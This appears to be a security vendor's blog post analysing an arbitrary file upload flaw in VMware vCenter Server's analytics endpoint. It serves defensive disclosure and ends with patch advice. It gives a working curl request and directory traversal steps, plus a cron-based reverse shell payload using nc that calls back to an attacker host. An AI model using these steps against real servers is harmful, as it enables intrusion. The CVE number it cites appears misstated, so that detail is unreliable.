VMware vCenter server is a centralised management utility used for managing multiple ESXi hosts, virtual machines and all their dependent components.
An arbitrary file upload vulnerability has recently been discovered in the Analytics service of VMware vCenter Server. VMware has confirmed that this vulnerability is being actively exploited in the wild and CVE-2021-2205 has been assigned to it. More details about this vulnerability and various affected versions can be found at NVD.
This blog examines how this vulnerability can be exploited in the unpatched vCenter Server 7.0.
Vulnerability Details
In our lab, we have locally setup vCenter 7.0 build 17920168 to test the attack scenario.
The Customer Experience Improvement Program (CEIP) enables VMware to collect user usage statistics to improve their product and provide better user support. Some of these statistics are:
- Configuration Data
- Feature Usage Data
- Performance Data
- Product Log Data
Users can opt in or out of CEIP from vCenter’s vSphere Client:
First, we determined how this telemetry data is collected and stored by VMware server. By taking a look at its various configurations, Juniper Threat Labs found analytics proxy.conf that defines several API calls specific to telemetry, as shown below:
- /analytics/telemetry/ph/api/hyper/send
- /analytics/telemetry/ph/api/level
We also observed that local and 15080 is configured which should indicate hostname and port used for these APIs. We can see that a service called vmware-analytics is running over tcp port 15080:
The API in use is confirmed when we perform network capture on port 15080. POST request is sent to “/analytics/telemetry/ph/api/hyper/send”. The query parameters “_c” and “_i” defines the filename for the log collected in JSON format wherein the filename is in following format:
_c<value of parameter _c>_i<value of parameter _i>.json
Looking at the logs, we can see that the file is created under folder “/var/log/vmware/analytics/prod”, with the body of POST request appended to it:
An arbitrary file upload vulnerability exists in vulnerable versions of VMware vCenter. Any user with web access to vCenter server can make use of the analytics endpoints to create arbitrary files at any directory of their choice. A remote unauthenticated user can create a specially crafted request with malicious code embedded in it that can lead to directory traversal and remote code execution.
As an example, following curl request can create a file “_c_itest.json” with content “Example” in location “/var/log/vmware/analytics/prod/”:
curl -kv “https://<vCenter-Server-ip>/analytics/telemetry/ph/api/hyper/send?_c&_i=test” -d “Example” -H “Content-Type: application/json”
Steps to recreate attack scenario
- Create a directory with a test file.
As we can see filename “1234.json” is created inside folder “_c_i”.
- Create a file in “/tmp” to check for directory traversal
Folder “_c_i” that was created in previous step is important to perform directory traversal, because the process will look for “_c_i/../../../../../../tmp/” folder before writing the file “test2.json” at destination location:
Remote Code Execution
To achieve remote code execution and obtain a reverse shell, the following steps can be taken:
- On the victim’s server, create a cron job at “/etc/cron.d/” using directory traversal.
- Provide the appropriate payload to attain reverse shell as body of request.
- On attacker machine, use nc to listen on port where we expect to get reverse shell from vCenter server.
Let us first create a cron job file at “/etc/cron.d/” to run as file owner and provide reverse shell.
Here the reverse shell payload used is:
***** root nc –e /bin/bash 192.168.1.2 4444
This payload when written to file reverse.json at “/etc/cron.d/” would run the nc –e /bin/bash 192.168.1.2 4444 command every minute.
Once the file is created as expected, we would receive a reverse shell from vCenter server at port 4444 as seen below:
Remediation and Conclusion
Juniper Networks’ SRX Series Next-Generation Firewall (NGFW) customers with an IDP license are protected against this vulnerability using the signature:
HTTP:CTS:VCNTR-ANALYTCS-AFU
The signature is released as part of export number 3422 and is part of recommended template.
At the same time, all customers are recommended to update to latest stable version of vCenter as per the advisory released by VMware.
